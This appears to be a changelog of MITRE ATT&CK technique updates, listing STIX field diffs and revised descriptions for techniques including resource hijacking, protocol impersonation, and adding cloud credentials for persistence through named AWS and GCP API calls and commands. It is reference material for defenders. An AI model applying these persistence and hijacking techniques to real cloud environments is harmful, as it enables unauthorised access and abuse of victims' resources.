modified2023-10-02 22:17:54.968000+00:002024-09-25 14:15:26.322000+00:00
descriptionAdversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim. + +For example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim’s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy) + +Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535). In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: Microsoft Peach Sandstorm 2023) This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.(Citation: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022)Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim. + +For example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional [Resource Hijacking](https://attack.mitre.org/techniques/T1496) without raising suspicion by using up a victim’s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy) + +Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535).
x_mitre_version1.02.0
iterable_item_removed
STIX FieldOld valueNew Value
external_references{'source_name': 'Microsoft Subscription Hijacking 2022', 'description': 'Dor Edry. (2022, August 24). Hunt for compromised Azure subscriptions using Microsoft Defender for Cloud Apps. Retrieved September 5, 2023.', 'url': 'https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121'}
external_references{'source_name': 'Microsoft Peach Sandstorm 2023', 'description': 'Microsoft Threat Intelligence. (2023, September 14). Peach Sandstorm password spray campaigns enable intelligence collection at high-value targets. Retrieved September 18, 2023.', 'url': 'https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/'}

[T1001.003] Data Obfuscation: Protocol or Service Impersonation

Current version: 2.0

Version changed from: 1.0 → 2.0

+ + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may impersonate legitimate protocols or web servt1Adversaries may impersonate legitimate protocols or web serv
>ice traffic to disguise command and control activity and thw>ice traffic to disguise command and control activity and thw
>art analysis efforts. By impersonating legitimate protocols >art analysis efforts. By impersonating legitimate protocols 
>or web services, adversaries can make their command and cont>or web services, adversaries can make their command and cont
>rol traffic blend in with legitimate network traffic.    Adv>rol traffic blend in with legitimate network traffic.    Adv
>ersaries may impersonate a fake SSL/TLS handshake to make it>ersaries may impersonate a fake SSL/TLS handshake to make it
> look like subsequent traffic is SSL/TLS encrypted, potentia> look like subsequent traffic is SSL/TLS encrypted, potentia
>lly interfering with some security tooling, or to make the t>lly interfering with some security tooling, or to make the t
>raffic look like it is related with a trusted entity. >raffic look like it is related with a trusted entity.   Adve
 >rsaries may also leverage legitimate protocols to impersonat
 >e expected web traffic or trusted services. For example, adv
 >ersaries may manipulate HTTP headers, URI endpoints, SSL cer
 >tificates, and transmitted data to disguise C2 communication
 >s or mimic legitimate services such as Gmail, Google Drive, 
 >and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citatio
 >n: Malleable-C2-U42)
Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_contributors['James Emery-Callcott, Emerging Threats Team, Proofpoint']
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2020-03-15 00:40:27.503000+00:002024-10-09 15:40:19.436000+00:00
nameProtocol ImpersonationProtocol or Service Impersonation
descriptionAdversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. + +Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. + +Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. + +Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citation: Malleable-C2-U42)
x_mitre_version1.02.0
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Malleable-C2-U42', 'description': 'Chris Navarrete Durgesh Sangvikar Andrew Guan Yu Fu Yanhui Jia Siddhart Shibiraj. (2022, March 16). Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect. Retrieved September 24, 2024.', 'url': 'https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/'}
external_references{'source_name': 'ESET Okrum July 2019', 'description': 'Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf'}

[T1496] Resource Hijacking

Current version: 2.0

Version changed from: 1.5 → 2.0

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may leverage the resources of co-opted systems tt1Adversaries may leverage the resources of co-opted systems t
>o complete resource-intensive tasks, which may impact system>o complete resource-intensive tasks, which may impact system
> and/or hosted service availability.   One common purpose fo> and/or hosted service availability.   Resource hijacking ma
>r Resource Hijacking is to validate transactions of cryptocu>y take a number of different forms. For example, adversaries
>rrency networks and earn virtual currency. Adversaries may c> may:  * Leverage compute resources in order to mine cryptoc
>onsume enough system resources to negatively impact and/or c>urrency * Sell network bandwidth to proxy networks * Generat
>ause affected machines to become unresponsive.(Citation: Kas>e SMS traffic for profit * Abuse cloud-based messaging servi
>persky Lazarus Under The Hood Blog 2017) Servers and cloud-b>ces to send large quantities of spam messages  In some cases
>ased systems are common targets because of the high potentia>, adversaries may leverage multiple types of Resource Hijack
>l for available resources, but user endpoint systems may als>ing at once.(Citation: Sysdig Cryptojacking Proxyjacking 202
>o be compromised and used for Resource Hijacking and cryptoc>3)
>urrency mining.(Citation: CloudSploit - Unused AWS Regions)  
>Containerized environments may also be targeted due to the e 
>ase of deployment via exposed APIs and the potential for sca 
>ling mining activities by deploying or compromising multiple 
> containers within an environment or cluster.(Citation: Unit 
> 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker  
>APIs)  Additionally, some cryptocurrency mining malware iden 
>tify then kill off processes for competing malware to ensure 
> it’s not competing for resources.(Citation: Trend Micro War 
> of Crypto Miners)  Adversaries may also use malware that le 
>verages a system's network bandwidth as part of a botnet in  
>order to facilitate [Network Denial of Service](https://atta 
>ck.mitre.org/techniques/T1498) campaigns and/or to seed mali 
>cious torrents.(Citation: GoBotKR) Alternatively, they may e 
>ngage in proxyjacking by selling use of the victims' network 
> bandwidth and IP address to proxyware services.(Citation: S 
>ysdig Proxyjacking) 

New Detections:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-14 21:00:00.467000+00:002024-10-13 17:00:09.759000+00:00
descriptionAdversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. + +One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs) + +Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners) + +Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate [Network Denial of Service](https://attack.mitre.org/techniques/T1498) campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking)Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. + +Resource hijacking may take a number of different forms. For example, adversaries may: + +* Leverage compute resources in order to mine cryptocurrency +* Sell network bandwidth to proxy networks +* Generate SMS traffic for profit +* Abuse cloud-based messaging services to send large quantities of spam messages + +In some cases, adversaries may leverage multiple types of Resource Hijacking at once.(Citation: Sysdig Cryptojacking Proxyjacking 2023)
x_mitre_version1.52.0
x_mitre_contributors[6]Goldstein MenachemMenachem Goldstein
external_references[1]{'source_name': 'Unit 42 Hildegard Malware', 'description': 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.', 'url': 'https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/'}{'source_name': 'Sysdig Cryptojacking Proxyjacking 2023', 'description': 'Miguel Hernandez. (2023, August 17). LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab . Retrieved September 25, 2024.', 'url': 'https://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/'}
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_data_sourcesCloud Service: Cloud Service Modification
x_mitre_data_sourcesApplication Log: Application Log Content
x_mitre_platformsSaaS
iterable_item_removed
STIX FieldOld valueNew Value
external_references{'source_name': 'CloudSploit - Unused AWS Regions', 'description': 'CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.', 'url': 'https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc'}
external_references{'source_name': 'Sysdig Proxyjacking', 'description': 'Crystal Morin. (2023, April 4). Proxyjacking has Entered the Chat. Retrieved July 6, 2023.', 'url': 'https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/'}
external_references{'source_name': 'Kaspersky Lazarus Under The Hood Blog 2017', 'description': 'GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.', 'url': 'https://securelist.com/lazarus-under-the-hood/77908/'}
external_references{'source_name': 'Trend Micro Exposed Docker APIs', 'description': 'Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html'}
external_references{'source_name': 'Trend Micro War of Crypto Miners', 'description': 'Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html'}
external_references{'source_name': 'GoBotKR', 'description': 'Zuzana Hromcová. (2019, July 8). Malicious campaign targets South Korean users with backdoor‑laced torrents. Retrieved March 31, 2022.', 'url': 'https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/'}
Minor Version Changes

[T1003.008] OS Credential Dumping: /etc/passwd and /etc/shadow

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['root']
values_changed
STIX FieldOld valueNew Value
modified2020-03-20 15:56:55.022000+00:002024-09-25 20:48:04.491000+00:00
x_mitre_version1.01.1

[T1558.004] Steal or Forge Kerberos Tickets: AS-REP Roasting

Current version: 1.1

Version changed from: 1.0 → 1.1

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['User']
values_changed
STIX FieldOld valueNew Value
modified2021-06-07 19:23:33.039000+00:002024-10-15 15:32:07.850000+00:00
external_references[1]['description']HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August 24, 2020.HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved September 23, 2024.
external_references[1]['url']http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/https://blog.harmj0y.net/activedirectory/roasting-as-reps/
x_mitre_version1.01.1

[T1548] Abuse Elevation Control Mechanism

Current version: 1.4

Version changed from: 1.3 → 1.4

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-15 20:52:09.908000+00:002024-10-15 15:32:21.811000+00:00
x_mitre_version1.31.4
x_mitre_platforms[5]Google WorkspaceIdentity Provider
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsAzure AD

[T1531] Account Access Removal

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
values_changed
STIX FieldOld valueNew Value
modified2023-03-22 20:39:15.680000+00:002024-10-15 15:35:13.577000+00:00
x_mitre_attack_spec_version3.1.03.2.0
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA
x_mitre_platformsIaaS
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365

[T1087] Account Discovery

Current version: 2.5

Version changed from: 2.4 → 2.5

Details
values_changed
STIX FieldOld valueNew Value
modified2024-01-12 23:36:56.245000+00:002024-10-15 15:35:28.784000+00:00
x_mitre_version2.42.5
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1098] Account Manipulation

Current version: 2.7

Version changed from: 2.6 → 2.7

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-01-16 22:24:38.234000+00:002024-10-15 15:35:57.382000+00:00
x_mitre_version2.62.7
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace

[T1137.006] Office Application Startup: Add-ins

Current version: 1.2

Version changed from: 1.1 → 1.2

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_permissions_required['Administrator', 'User']
values_changed
STIX FieldOld valueNew Value
modified2021-08-16 21:26:09.296000+00:002024-10-15 15:37:09.190000+00:00
x_mitre_version1.11.2
x_mitre_platforms[1]Office 365Office Suite

[T1098.001] Account Manipulation: Additional Cloud Credentials

Current version: 2.8

Version changed from: 2.7 → 2.8

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may add adversary-controlled credentials to a clt1Adversaries may add adversary-controlled credentials to a cl
>oud account to maintain persistent access to victim accounts>oud account to maintain persistent access to victim accounts
> and instances within the environment.  For example, adversa> and instances within the environment.  For example, adversa
>ries may add credentials for Service Principals and Applicat>ries may add credentials for Service Principals and Applicat
>ions in addition to existing legitimate credentials in Azure>ions in addition to existing legitimate credentials in Azure
> AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citat> / Entra ID.(Citation: Microsoft SolarWinds Customer Guidanc
>ion: Blue Cloud of Death)(Citation: Blue Cloud of Death Vide>e)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of De
>o) These credentials include both x509 keys and passwords.(C>ath Video) These credentials include both x509 keys and pass
>itation: Microsoft SolarWinds Customer Guidance) With suffic>words.(Citation: Microsoft SolarWinds Customer Guidance) Wit
>ient permissions, there are a variety of ways to add credent>h sufficient permissions, there are a variety of ways to add
>ials including the Azure Portal, Azure command line interfac> credentials including the Azure Portal, Azure command line 
>e, and Azure or Az PowerShell modules.(Citation: Demystifyin>interface, and Azure or Az PowerShell modules.(Citation: Dem
>g Azure AD Service Principals)  In infrastructure-as-a-servi>ystifying Azure AD Service Principals)  In infrastructure-as
>ce (IaaS) environments, after gaining access through [Cloud >-a-service (IaaS) environments, after gaining access through
>Accounts](https://attack.mitre.org/techniques/T1078/004), ad> [Cloud Accounts](https://attack.mitre.org/techniques/T1078/
>versaries may generate or import their own SSH keys using ei>004), adversaries may generate or import their own SSH keys 
>ther the <code>CreateKeyPair</code> or <code>ImportKeyPair</>using either the <code>CreateKeyPair</code> or <code>ImportK
>code> API in AWS or the <code>gcloud compute os-login ssh-ke>eyPair</code> API in AWS or the <code>gcloud compute os-logi
>ys add</code> command in GCP.(Citation: GCP SSH Key Add) Thi>n ssh-keys add</code> command in GCP.(Citation: GCP SSH Key 
>s allows persistent access to instances within the cloud env>Add) This allows persistent access to instances within the c
>ironment without further usage of the compromised cloud acco>loud environment without further usage of the compromised cl
>unts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind>oud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expe
> the Scenes)  Adversaries may also use the <code>CreateAcces>l Behind the Scenes)  Adversaries may also use the <code>Cre
>sKey</code> API in AWS or the <code>gcloud iam service-accou>ateAccessKey</code> API in AWS or the <code>gcloud iam servi
>nts keys create</code> command in GCP to add access keys to >ce-accounts keys create</code> command in GCP to add access 
>an account. If the target account has different permissions >keys to an account. Alternatively, they may use the <code>Cr
>from the requesting account, the adversary may also be able >eateLoginProfile</code> API in AWS to add a password that ca
>to escalate their privileges in the environment (i.e. [Cloud>n be used to log into the AWS Management Console for [Cloud 
> Accounts](https://attack.mitre.org/techniques/T1078/004)).(>Service Dashboard](https://attack.mitre.org/techniques/T1538
>Citation: Rhino Security Labs AWS Privilege Escalation)(Cita>).(Citation: Permiso Scattered Spider 2023)(Citation: Lacewo
>tion: Sysdig ScarletEel 2.0) For example, in Azure AD enviro>rk AI Resource Hijacking 2024) If the target account has dif
>nments, an adversary with the Application Administrator role>ferent permissions from the requesting account, the adversar
> can add a new set of credentials to their application's ser>y may also be able to escalate their privileges in the envir
>vice principal. In doing so the adversary would be able to a>onment (i.e. [Cloud Accounts](https://attack.mitre.org/techn
>ccess the service principal’s roles and permissions, which m>iques/T1078/004)).(Citation: Rhino Security Labs AWS Privile
>ay be different from those of the Application Administrator.>ge Escalation)(Citation: Sysdig ScarletEel 2.0) For example,
>(Citation: SpecterOps Azure Privilege Escalation)   In AWS e> in Entra ID environments, an adversary with the Application
>nvironments, adversaries with the appropriate permissions ma> Administrator role can add a new set of credentials to thei
>y also use the `sts:GetFederationToken` API call to create a>r application's service principal. In doing so the adversary
> temporary set of credentials to [Forge Web Credentials](htt> would be able to access the service principal’s roles and p
>ps://attack.mitre.org/techniques/T1606) tied to the permissi>ermissions, which may be different from those of the Applica
>ons of the original user account. These temporary credential>tion Administrator.(Citation: SpecterOps Azure Privilege Esc
>s may remain valid for the duration of their lifetime even i>alation)   In AWS environments, adversaries with the appropr
>f the original account’s API credentials are deactivated. (C>iate permissions may also use the `sts:GetFederationToken` A
>itation: Crowdstrike AWS User Federation Persistence)>PI call to create a temporary set of credentials to [Forge W
 >eb Credentials](https://attack.mitre.org/techniques/T1606) t
 >ied to the permissions of the original user account. These t
 >emporary credentials may remain valid for the duration of th
 >eir lifetime even if the original account’s API credentials 
 >are deactivated. (Citation: Crowdstrike AWS User Federation 
 >Persistence)  In Entra ID environments with the app password
 > feature enabled, adversaries may be able to add an app pass
 >word to a user account.(Citation: Mandiant APT42 Operations 
 >2024) As app passwords are intended to be used with legacy d
 >evices that do not support multi-factor authentication (MFA)
 >, adding an app password can allow an adversary to bypass MF
 >A requirements. Additionally, app passwords may remain valid
 > even if the user’s primary password is reset.(Citation: Mic
 >rosoft Entra ID App Passwords)

New Mitigations:

New Detections:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-02-28 14:35:00.862000+00:002024-10-14 22:11:30.271000+00:00
descriptionAdversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment. + +For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals) + +In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes) + +Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) + +In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated. +(Citation: Crowdstrike AWS User Federation Persistence)Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment. + +For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals) + +In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes) + +Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) + +In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated. +(Citation: Crowdstrike AWS User Federation Persistence) + +In Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user’s primary password is reset.(Citation: Microsoft Entra ID App Passwords)
x_mitre_version2.72.8
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Lacework AI Resource Hijacking 2024', 'description': 'Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.', 'url': 'https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts'}
external_references{'source_name': 'Permiso Scattered Spider 2023', 'description': 'Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.', 'url': 'https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud'}
external_references{'source_name': 'Microsoft Entra ID App Passwords', 'description': 'Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.', 'url': 'https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords'}
external_references{'source_name': 'Mandiant APT42 Operations 2024', 'description': "Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, and Jonathan Leathery. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved May 28, 2024.", 'url': 'https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations'}
x_mitre_contributorsArun Seelagan, CISA
x_mitre_data_sourcesActive Directory: Active Directory Object Creation
x_mitre_data_sourcesActive Directory: Active Directory Object Modification
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD

[T1098.003] Account Manipulation: Additional Cloud Roles

Current version: 2.5

Version changed from: 2.4 → 2.5

Details
values_changed
STIX FieldOld valueNew Value
modified2024-03-29 18:29:06.873000+00:002024-10-14 22:11:30.271000+00:00
x_mitre_version2.42.5
x_mitre_platforms[3]Google WorkspaceIdentity Provider
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsArun Seelagan, CISA
x_mitre_platformsOffice Suite
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsAzure AD

[T1098.002] Account Manipulation: Additional Email Delegate Permissions

Current version: 2.2

Version changed from: 2.1 → 2.2

Details
values_changed
STIX FieldOld valueNew Value
modified2024-01-03 15:46:06.706000+00:002024-10-15 15:37:25.303000+00:00
x_mitre_version2.12.2
x_mitre_platforms[1]Office 365Office Suite
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsNilesh Dherange (Gurucul)
x_mitre_contributorsNaveen Vijayaraghavan
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_contributorsNaveen Vijayaraghavan, Nilesh Dherange (Gurucul)
x_mitre_platformsGoogle Workspace

[T1550.001] Use Alternate Authentication Material: Application Access Token

Current version: 1.7

Version changed from: 1.6 → 1.7

New Mitigations:

Details
values_changed
STIX FieldOld valueNew Value
modified2024-04-28 15:43:18.080000+00:002024-10-15 15:38:11.583000+00:00
x_mitre_version1.61.7
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_platformsOffice Suite
x_mitre_platformsIdentity Provider
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsOffice 365
x_mitre_platformsGoogle Workspace
x_mitre_platformsAzure AD

[T1499.003] Endpoint Denial of Service: Application Exhaustion Flood

Current version: 1.3

Version changed from: 1.2 → 1.3

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_attack_spec_version3.2.0
x_mitre_deprecatedFalse
values_changed
STIX FieldOld valueNew Value
modified2022-03-25 18:07:45.176000+00:002024-10-15 15:41:49.168000+00:00
x_mitre_version1.21.3
iterable_item_removed
STIX FieldOld valueNew Value
x_mitre_platformsAzure AD
x_mitre_platformsOffice 365
x_mitre_platformsSaaS
x_mitre_platformsGoogle Workspace

[T1071] Application Layer Protocol

Current version: 2.3

Version changed from: 2.2 → 2.3

+ + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may communicate using OSI application layer prott1Adversaries may communicate using OSI application layer prot
